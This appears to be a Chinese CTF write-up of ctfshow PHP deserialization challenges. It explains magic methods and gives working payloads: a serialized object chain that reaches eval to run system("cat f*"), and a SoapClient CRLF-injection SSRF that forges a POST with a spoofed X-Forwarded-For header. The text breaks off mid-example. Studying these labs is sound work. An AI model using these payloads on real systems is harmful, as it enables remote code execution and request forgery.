ctfshow—反序列化

简介

序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。

php 将数据序列化和反序列化会用到两个函数

serialize 将对象格式化成有序的字符串

unserialize 将字符串还原成原来的对象

序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。

常见的魔术方法

__construct(),类的构造函数
 
__destruct(),类的析构函数
 
__call(),在对象中调用一个不可访问方法时调用
 
__callStatic(),用静态方式中调用一个不可访问方法时调用
 
__get(),获得一个类的成员变量时调用
 
__set(),设置一个类的成员变量时调用
 
__isset(),当对不可访问属性调用isset()或empty()时调用
 
__unset(),当对不可访问属性调用unset()时被调用。
 
__sleep(),执行serialize()时,先会调用这个函数
 
__wakeup(),执行unserialize()时,先会调用这个函数
 
__toString(),类被当成字符串时的回应方法
 
__invoke(),调用函数的方式调用一个对象时的回应方法
 
__set_state(),调用var_export()导出类时,此静态方法会被调用。
 
__clone(),当对象复制完成时调用
 
__autoload(),尝试加载未定义的类
 
__debugInfo(),打印所需调试信息

常见的序列化格式

了解即可

二进制格式
字节数组
json字符串
xml字符串

学习路线:推荐y4师傅写的反序列化

web257


error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

先观察ctfShowUser类,反序列化的时候会先实例化info这个类,接着再销毁的时候调用类中的getInfo方法;很显然调用的是类info中的getInfo方法,而我们需要调用类backDoor中的getInfo方法,因为其中含有eval可以命令执行。所以我们把本来调用的类改成backDoor,构造姿势:


class ctfShowUser{
    private $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code='system("cat f*");';
}
$b=new ctfShowUser();
echo urlencode(serialize($b));

web258(+号绕过)

利用+号绕过,注意需要url编码为 %2B

web259(soapclient+crlf)

考点:php原生类

SoapClient

SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP是一

种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息),其次我们知道某个实例化的类,如果

去调用了一个不存在的函数,会去调用 __call 方法

ctfshow—反序列化_第1张图片

ctfshow—反序列化_第2张图片

CRLF注入攻击

CRLF是“回车+换行”(\r\n)的简称,其十六进制编码分别为0x0d和0x0a。在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。

在上面的图中,我们可以看到,SOAPAction是可控的点,我们注入两个\r\n来控制POST请求头

但还有一个问题需要解决,POST数据指定请求头为Content-Type:application/x-www-form-urlencoded,我们需要控制Content-Type,但从上图中可以发现它位于SOAPAtion上方。
继续往上,可以发现User-Agent位于Content-Type上方,这个位置也可以进行注入,所以我们再User-Agent进行注入


$post_string = "lin=cool";
$a = new SoapClient(null, array('location' => 'http://127.0.0.1:5555/path', 'user_agent' => "lin\r\nContent-Type:application/x-www-form-urlencoded\r\n" . "Content-Length: " . (string)strlen($post_string) . "\r\n\r\n" . $post_string, 'uri' => "aaa"));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();

题目



highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

flag.php
<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

我们在代码审计时如果发现反序列化点,但在代码中却无法构造pop链,可以利用php内置类来进行反序列化

相关参数都给足了,利用ssrf访问flag.php,然后构造post数据token=ctfshow还有xff请求头,paylaod如下


	$post_string = "token=ctfshow";
    $a = new SoapClient(null,array('location'=>'http://127.0.0.1/flag.php', 'user_agent'=>"lin\r\nContent-Type:application/x-www-form-urlencoded\r\n"."X-Forwarded-For: 127.0.0.1,127.0.0.1\r\n"."Content-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string, 'uri'=>"aaa"));
    $b = serialize($a);
    echo urlencode($b);

这里X-Forwarded-For里面需要两个127.0.0.1的原因是docker环境cloudfare代理所导致

X-Forwarded-For

维护代理服务器和原始访问者 IP 地址。如果发送到 Cloudflare 的请求中不含现有的 X-Forwarded-For 标头,X-Forwarded-For 将具有与 CF-Connecting-IP 标头相同的值:

示例:X-Forwarded-For:203.0.113.1

如果发送到 Cloudflare 的请求中已存在 X-Forwarded-For 标头,则 Cloudflare 会将 HTTP 代理的 IP 地址附加到这个标头:

示例:X-Forwarded-For:203.0.113.1,198.51.100.101,198.51.100.102

所以我们传入参数vip,然后再访问flag.txt就可以了

原生类的补充

  • Exception

error_reporting(0);
#$id= "$admin";
#show_source(__FILE__);
#if(unserialize($id) === "$admin")
$a = new Exception("
                    
                    

你可能感兴趣的:(刷题记录,php反序列化)